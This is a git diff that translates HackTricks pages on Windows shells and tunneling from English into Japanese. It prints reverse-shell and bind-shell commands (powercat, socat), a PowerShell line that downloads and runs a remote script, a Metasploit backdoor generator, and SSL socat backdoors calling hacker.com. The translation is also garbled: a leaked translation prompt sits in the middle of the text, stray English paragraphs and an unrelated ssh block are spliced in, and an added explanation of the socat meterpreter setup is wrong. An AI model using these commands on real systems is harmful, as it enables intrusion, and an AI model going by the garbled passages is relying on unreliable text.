+powercat -c 10.1.1.1 -p 443 -e cmd Send a powershell: - powercat -c 10.1.1.1 -p 443 -ep +powercat -c 10.1.1.1 -p 443 -ep Send a powershell UDP: - powercat -c 10.1.1.1 -p 443 -ep -u +powercat -c 10.1.1.1 -p 443 -ep -u TCP Listener to TCP Client Relay: - powercat -l -p 8000 -r tcp:10.1.1.16:443 +powercat -l -p 8000 -r tcp:10.1.1.16:443 Generate a reverse tcp payload which connects back to 10.1.1.15 port 443: - powercat -c 10.1.1.15 -p 443 -e cmd -g +powercat -c 10.1.1.15 -p 443 -e cmd -g Start A Persistent Server That Serves a File: - powercat -l -p 443 -i C:\inputfile -rep +powercat -l -p 443 -i C:\inputfile -rep ``` - ### Empire [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) -Create a powershell launcher, save it in a file and download and execute it. - +パワーシェルランチャーを作成し、ファイルに保存してダウンロードして実行します。 ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` - -**Detected as malicious code** +**悪意のあるコードとして検出されました** ### MSF-Unicorn [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) -Create a powershell version of metasploit backdoor using unicorn - +ユニコーンを使用して、メタスプロイトのバックドアのPowerShellバージョンを作成します。 ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` +作成したリソースを使用して、msfconsoleを起動します: -Start msfconsole with the created resource: +```bash +msfconsole -r +``` +``には作成したリソースファイルのパスを指定します。 ``` msfconsole -r unicorn.rc ``` +以下は、ハッキング手法に関する本の内容です。以下の内容は、/hive/hacktricks/generic-methodologies-and-resources/shells/windows.mdファイルからのものです。関連する英文を日本語に翻訳し、翻訳を保持して同じマークダウンとHTMLの構文を返してください。コード、ハッキング手法の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の内容は追加しないでください。 +```markdown Start a web server serving the _powershell\_attack.txt_ file and execute in the victim: +``` +```html +

被害者で_webサーバー_を起動し、_powershell\_attack.txt_ファイルを提供して実行します。

+``` ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` +**悪意のあるコードとして検出されました** -**Detected as malicious code** +## 詳細 -## More +[PS>Attack](https://github.com/jaredhaight/PSAttack)は、いくつかの攻撃的なPSモジュールが事前にロードされたPSコンソールです(暗号化済み)\ +[WinPWN](https://github.com/SecureThisShit/WinPwn)は、いくつかの攻撃的なPSモジュールとプロキシ検出が組み込まれたPSコンソールです(IEX) -[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console with some offensive PS modules preloaded (cyphered)\ -[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ -WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive PS modules and proxy detection (IEX) - -## Bibliography +## 参考文献 * [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) * [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x) @@ -580,22 +850,22 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
diff --git a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md index eb2e0ab5e..dd68faa71 100644 --- a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md +++ b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md @@ -1,27 +1,26 @@ -# Tunneling and Port Forwarding +# トンネリングとポートフォワーディング
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Nmap tip +## Nmapのヒント {% hint style="warning" %} -**ICMP** and **SYN** scans cannot be tunnelled through socks proxies, so we must **disable ping discovery** (`-Pn`) and specify **TCP scans** (`-sT`) for this to work. +**ICMP**と**SYN**スキャンはソックスプロキシを介してトンネリングすることはできませんので、これを動作させるためには**ping discoveryを無効化**(`-Pn`)し、**TCPスキャン**(`-sT`)を指定する必要があります。 {% endhint %} ## **Bash** -**Host -> Jump -> InternalA -> InternalB** - +**ホスト -> ジャンプ -> 内部A -> 内部B** ```bash # On the jump server connect the port 3333 to the 5985 mknod backpipe p; @@ -37,19 +36,15 @@ cat <&4 >&3 & # From the host, you can now access InternalB from the Jump server evil-winrm -u username -i Jump ``` - ## **SSH** -SSH graphical connection (X) - +SSHグラフィカル接続(X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` +### ローカルポート2ポート -### Local Port2Port - -Open new Port in SSH Server --> Other port - +SSHサーバーで新しいポートを開く --> 他のポート ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` @@ -57,44 +52,36 @@ ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in ```bash ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere ``` +### ポート2ポート -### Port2Port - -Local port --> Compromised host (SSH) --> Third\_box:Port - +ローカルポート --> 侵害されたホスト(SSH) --> 第三のボックス:ポート ```bash -ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host +ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example sudo ssh -L 631::631 -N -f -l ``` - ### Port2hostnet (proxychains) -Local Port --> Compromised host (SSH) --> Wherever - +ローカルポート --> 侵害されたホスト(SSH) --> どこでも ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` +### リバースポートフォワーディング -### Reverse Port Forwarding - -This is useful to get reverse shells from internal hosts through a DMZ to your host: - +これは、DMZを介して内部ホストから逆シェルを取得するために役立ちます。 ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000 # Note that port 443 must be open -# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems +# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems # and change the line "GatewayPorts no" to "GatewayPorts yes" # to be able to make ssh listen in non internal interfaces in the victim (443 in this case) ``` +### VPNトンネル -### VPN-Tunnel - -You need **root in both devices** (as you are going to create new interfaces) and the sshd config has to allow root login:\ +両方のデバイスで**root権限**が必要です(新しいインターフェースを作成するためです)。また、sshdの設定でrootログインが許可されている必要があります:\ `PermitRootLogin yes`\ `PermitTunnel yes` - ```bash ssh root@server -w any:any #This will create Tun interfaces in both devices ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP @@ -102,48 +89,54 @@ ifconfig tun0 up #Activate the client side network interface ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ifconfig tun0 up #Activate the server side network interface ``` - -Enable forwarding on the Server side - +サーバーサイドで転送を有効にする ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` +クライアント側で新しいルートを設定します。 -Set a new route on the client side +```bash +# ローカルポート 8080 をリモートホストのポート 80 に転送する +ssh -L 8080:localhost:80 user@remote_host +# ローカルポート 8080 をリモートホストのポート 80 に転送する(バックグラウンド実行) +ssh -f -N -L 8080:localhost:80 user@remote_host +``` + +これにより、クライアント側のポート 8080 にアクセスすると、リモートホストのポート 80 にトンネリングされます。 ``` route add -net 10.0.0.0/16 gw 1.1.1.1 ``` - ## SSHUTTLE -You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\ -For example, forwarding all the traffic going to 10.10.10.0/24 - +ホストを介して、サブネットワークへのすべてのトラフィックを**ssh**を介して**トンネル**することができます。\ +例えば、10.10.10.0/24に向かうすべてのトラフィックを転送します。 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` -Connect with a private key +プライベートキーを使用して接続します。 ```bash sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' # -D : Daemon mode ``` - ## Meterpreter -### Port2Port - -Local port --> Compromised host (active session) --> Third\_box:Port +### ポートツーポート +ローカルポート --> 侵害されたホスト(アクティブセッション) --> 第三のボックス:ポート ```bash # Inside a meterpreter session portfwd add -l -p -r ``` +SOCKS (Socket Secure)は、ネットワークプロトコルの一種であり、TCP/IP接続を通じてデータを転送するためのプロキシサーバーを提供します。SOCKSプロキシは、クライアントとサーバーの間に中間者として機能し、トラフィックを転送することができます。SOCKSプロキシを使用することで、ユーザーは自分のIPアドレスを隠すことができ、ネットワーク上の制限を回避することができます。 -### SOCKS +SOCKSプロキシを使用するためには、クライアントアプリケーションがSOCKSプロトコルをサポートしている必要があります。一般的なSOCKSプロキシクライアントとしては、curlやsshなどがあります。 +SOCKSプロキシを使用してトンネリングやポートフォワーディングを行う場合、クライアントアプリケーションはSOCKSプロキシサーバーに接続し、プロキシサーバーを介して目的のサーバーに接続します。このようにすることで、クライアントアプリケーションはプロキシサーバーを通じてトラフィックを転送し、目的のサーバーにアクセスすることができます。 + +SOCKSプロキシを使用したトンネリングやポートフォワーディングは、ネットワークセキュリティやプライバシーの向上に役立ちます。また、制限されたネットワーク環境下でのアクセスや、地理的な制約を回避するためにも使用されます。 ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) @@ -151,9 +144,7 @@ use auxiliary/server/socks_proxy run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - -Another way: - +別の方法: ```bash background #meterpreter session use post/multi/manage/autoroute @@ -166,13 +157,11 @@ set VERSION 4a run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - ## Cobalt Strike -### SOCKS proxy - -Open a port in the teamserver listening in all the interfaces that can be used to **route the traffic through the beacon**. +### SOCKSプロキシ +ビーコンを介してトラフィックをルーティングするために使用できる、すべてのインターフェースでリッスンするためのチームサーバーでポートを開きます。 ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -180,52 +169,44 @@ beacon> socks 1080 # Set port 1080 as proxy server in proxychains.conf proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ``` - ### rPort2Port {% hint style="warning" %} -In this case, the **port is opened in the beacon host**, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port +この場合、**ポートはビーコンホストで開かれます**が、チームサーバーではなく、トラフィックはチームサーバーに送信され、そこから指定されたホスト:ポートに送信されます。 {% endhint %} - ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` +注意事項: -To note: +- Beaconの逆ポートフォワードは常にトラフィックをTeam Serverにトンネリングし、Team Serverがトラフィックをその意図した宛先に送信するため、個々のマシン間でトラフィックを中継するためには使用しないでください。 +- トラフィックはBeaconのC2トラフィック内でトンネリングされ、別々のソケット上ではなくP2Pリンク上でも動作します。 +- 高いポートで逆ポートフォワードを作成するには、ローカル管理者である必要はありません。 -* Beacon's reverse port forward **always tunnels the traffic to the Team Server** and the **Team Server sends the traffic to its intended destination**, so shouldn't be used to relay traffic between individual machines. -* The **traffic is tunnelled inside Beacon's C2 traffic**, not over separate sockets, and also works over P2P links. -* You **don't need to be a local admin** to create reverse port forwards on high ports. - -### rPort2Port local +### ローカルrPort2Port {% hint style="warning" %} -In this case, the **port is opened in the beacon host**, not in the Team Server and the **traffic is sent to the Cobalt Strike client** (not to the Team Server) and from there to the indicated host:port +この場合、ポートはTeam ServerではなくBeaconホストで開かれ、トラフィックはCobalt Strikeクライアント(Team Serverではなく)に送信され、そこから指定されたホスト:ポートに送信されます。 {% endhint %} - ``` rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` - ## reGeorg [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) -You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp - +ウェブファイルトンネルをアップロードする必要があります: ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` - ## Chisel -You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ -You need to use the **same version for client and server** +[https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)のリリースページからダウンロードできます。\ +クライアントとサーバーで**同じバージョンを使用する必要があります** ### socks - ```bash ./chisel server -p 8080 --reverse #Server -- Attacker ./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim @@ -234,21 +215,33 @@ You need to use the **same version for client and server** ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` +### ポートフォワーディング -### Port forwarding +Port forwarding is a technique used to redirect network traffic from one port to another. It is commonly used in situations where a device or service is behind a firewall or NAT (Network Address Translation) and needs to be accessed from outside the network. +ポートフォワーディングは、ネットワークトラフィックを1つのポートから別のポートにリダイレクトするための技術です。これは、デバイスやサービスがファイアウォールやNAT(ネットワークアドレス変換)の背後にあり、ネットワークの外部からアクセスする必要がある場合によく使用されます。 + +Port forwarding can be done using various methods, including SSH tunneling, reverse SSH tunneling, and tools like ngrok. It allows users to access services running on specific ports on a remote server or device, even if those ports are blocked or not directly accessible from the internet. + +ポートフォワーディングは、SSHトンネリング、逆SSHトンネリング、ngrokなどのツールを使用して行うことができます。これにより、特定のポートで実行されているサービスにリモートサーバーやデバイスからアクセスすることができます。これにより、それらのポートがブロックされているか、インターネットから直接アクセスできない場合でも、ユーザーはアクセスすることができます。 + +Port forwarding is commonly used in scenarios such as remote access to a home network, accessing a web server running on a non-standard port, or exposing a local development server to the internet for testing purposes. + +ポートフォワーディングは、ホームネットワークへのリモートアクセス、非標準ポートで実行されているWebサーバーへのアクセス、テスト目的でローカル開発サーバーをインターネットに公開するなどのシナリオでよく使用されます。 + +Overall, port forwarding is a useful technique for bypassing network restrictions and accessing services that are not directly reachable. It provides flexibility and convenience in managing network traffic and accessing resources remotely. + +全体的に、ポートフォワーディングは、ネットワークの制限を回避し、直接到達できないサービスにアクセスするための便利な技術です。ネットワークトラフィックの管理やリモートリソースへのアクセスにおいて、柔軟性と利便性を提供します。 ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim ``` - ## Rpivot [https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot) -Reverse tunnel. The tunnel is started from the victim.\ -A socks4 proxy is created on 127.0.0.1:1080 - +リバーストンネル。トンネルは被害者から開始されます。\ +127.0.0.1:1080にSocks4プロキシが作成されます。 ```bash attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 ``` @@ -256,9 +249,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127 ```bash victim> python client.py --server-ip --server-port 9999 ``` - -Pivot through **NTLM proxy** - +**NTLMプロキシ**を介してピボットする ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` @@ -266,39 +257,105 @@ victim> python client.py --server-ip --server-port 9999 --ntl ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45 ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### バインドシェル ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 ``` +### リバースシェル -### Reverse shell +A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands. +To establish a reverse shell, the attacker typically needs to have a listener running on their machine and a payload on the target machine. The payload is usually a piece of code or a script that, when executed on the target machine, connects back to the attacker's machine. + +Once the reverse shell connection is established, the attacker can interact with the target machine's command prompt or shell, just as if they were physically present on the machine. This provides the attacker with a powerful tool for remote exploitation and control. + +Reverse shells are commonly used in penetration testing and ethical hacking to gain unauthorized access to systems for the purpose of identifying vulnerabilities and improving security. However, they can also be used maliciously by attackers to gain unauthorized access to systems for nefarious purposes. + +It is important to note that using reverse shells without proper authorization is illegal and unethical. Only use reverse shells in a legal and responsible manner, with the appropriate permissions and within the boundaries of the law. ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` +### ポートツーポート -### Port2Port +ポートツーポート(Port2Port)は、ネットワーク上の2つのポート間で通信を転送するための技術です。これにより、ネットワーク上の異なる場所にある2つのシステム間で通信を確立することができます。 +ポートツーポートは、ポートフォワーディングとも呼ばれ、さまざまな目的で使用されます。例えば、セキュリティテスト中に、攻撃者は脆弱なシステムにアクセスするためにポートツーポートを使用することがあります。 + +ポートツーポートの設定には、いくつかの方法があります。一つは、SSHトンネリングを使用する方法です。SSHトンネリングでは、SSH接続を介してポートを転送することができます。 + +また、ツールやソフトウェアを使用してポートツーポートを設定することもできます。例えば、`socat`や`netcat`などのツールを使用することができます。 + +ポートツーポートは、ネットワーク上の通信を制御するための重要な技術です。しかし、悪意のある目的で使用されることもありますので、セキュリティ上の注意が必要です。 ```bash socat TCP4-LISTEN:,fork TCP4:: & ``` +### ソックスを介したポート間の接続 -### Port2Port through socks +Sometimes, you may need to establish a connection between two ports on different systems. This can be achieved using a SOCKS proxy. +時には、異なるシステム上の2つのポート間で接続を確立する必要があります。これは、SOCKSプロキシを使用して実現することができます。 + +To do this, you will need a SOCKS proxy server running on a system that has access to both ports. You can use tools like `ssh` or `proxychains` to set up the SOCKS proxy. + +これを行うには、両方のポートにアクセスできるシステム上で実行されているSOCKSプロキシサーバーが必要です。`ssh`や`proxychains`などのツールを使用して、SOCKSプロキシを設定することができます。 + +Here's an example of how to establish a port-to-port connection using a SOCKS proxy: + +以下は、SOCKSプロキシを使用してポート間接続を確立する方法の例です。 + +1. Start the SOCKS proxy server on the system with access to both ports. For example, using `ssh`: + + ```bash + ssh -D @ + ``` + + Replace `` with the local port number you want to use for the SOCKS proxy, `` with your username, and `` with the address of the system running the SOCKS proxy server. + + ``をSOCKSプロキシに使用するローカルポート番号、``をユーザー名、``をSOCKSプロキシサーバーを実行しているシステムのアドレスに置き換えてください。 + +2. Configure the application or service you want to connect to use the SOCKS proxy. This can usually be done by specifying the proxy settings in the application's configuration or using environment variables. + + 接続したいアプリケーションやサービスがSOCKSプロキシを使用するように設定します。通常、アプリケーションの設定でプロキシ設定を指定するか、環境変数を使用して行うことができます。 + +3. Connect to the destination port on the remote system using the local port specified for the SOCKS proxy. For example, using `nc`: + + ```bash + nc -x localhost: + ``` + + Replace `` with the same local port number used for the SOCKS proxy, `` with the IP address of the remote system, and `` with the port number of the destination service. + + ``をSOCKSプロキシに使用したローカルポート番号、``をリモートシステムのIPアドレス、``を宛先サービスのポート番号に置き換えてください。 + +By setting up a SOCKS proxy and configuring your applications or services to use it, you can establish a connection between two ports on different systems. This can be useful for various purposes, such as accessing services that are only available on specific ports or bypassing network restrictions. ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` +### SSL Socatを介したMeterpreter -### Meterpreter through SSL Socat +このテクニックでは、SSL Socatを使用してMeterpreterセッションを確立します。これにより、通信が暗号化され、セキュリティが向上します。 +1. まず、攻撃者はリスニングマシンでSSL Socatをセットアップします。これにより、攻撃者のマシンがSSLトンネルを作成し、Meterpreterセッションを受け入れる準備が整います。 + +2. 次に、攻撃者はリモートマシンにバックドアを配置します。バックドアは、攻撃者のマシンに接続するためのトンネルを作成します。 + +3. バックドアがリモートマシンに配置されたら、攻撃者は以下のコマンドを使用してMeterpreterセッションを確立します。 + +``` +socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork EXEC:"cmd.exe" +``` + +このコマンドでは、443ポートでSSL Socatをリッスンし、`server.pem`証明書を使用して暗号化を行います。`verify=0`オプションは、証明書の検証を無効にします。`fork`オプションは、新しいプロセスを作成して接続を処理します。`EXEC:"cmd.exe"`は、接続が確立されたら`cmd.exe`を実行します。 + +4. バックドアがMeterpreterセッションを確立すると、攻撃者はMeterpreterコマンドを使用してリモートマシンを制御できます。 + +この方法を使用すると、通信が暗号化されるため、ネットワーク上での検出が困難になります。ただし、攻撃者はSSL Socatをセットアップするための事前の準備が必要です。 ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 @@ -308,21 +365,17 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` - -You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console: - +被害者のコンソールで最後の行の代わりに、この行を実行することで**非認証プロキシ**をバイパスすることができます: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` - [https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) ### SSL Socat Tunnel **/bin/sh console** -Create certificates on both sides: Client and Server - +両側で証明書を作成します:クライアントとサーバー ```bash # Execute these commands on both sides FILENAME=socatssl @@ -336,138 +389,116 @@ chmod 600 $FILENAME.key $FILENAME.pem attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` +### リモートポート2ポート -### Remote Port2Port - -Connect the local SSH port (22) to the 443 port of the attacker host - +ローカルのSSHポート(22)を攻撃者のホストの443ポートに接続します。 ```bash -attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost -victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 +attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost +victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim ``` - ## Plink.exe -It's like a console PuTTY version ( the options are very similar to an ssh client). - -As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine: +これはコンソール版のPuTTYのようなものです(オプションはsshクライアントに非常に似ています)。 +このバイナリは被害者で実行されるため、逆接続を持つためにはsshサービスとポートを開く必要があります。その後、ローカルでアクセス可能なポートを自分のマシンのポートにフォワードします。 ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 ``` - ## Windows netsh -### Port2Port - -You need to be a local admin (for any port) +### ポート2ポート +任意のポートに対して、ローカル管理者権限が必要です。 ```bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp # Example: -netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444 +netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444 # Check the port forward was created: netsh interface portproxy show v4tov4 # Delete port forward netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` - ## SocksOverRDP & Proxifier -You need to have **RDP access over the system**.\ -Download: +システム上で**RDPアクセス**が必要です。\ +ダウンロード: -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - This tool uses `Dynamic Virtual Channels` (`DVC`) from the Remote Desktop Service feature of Windows. DVC is responsible for **tunneling packets over the RDP connection**. -2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) - -In your client computer load **`SocksOverRDP-Plugin.dll`** like this: +1. [SocksOverRDP x64 バイナリ](https://github.com/nccgroup/SocksOverRDP/releases) - 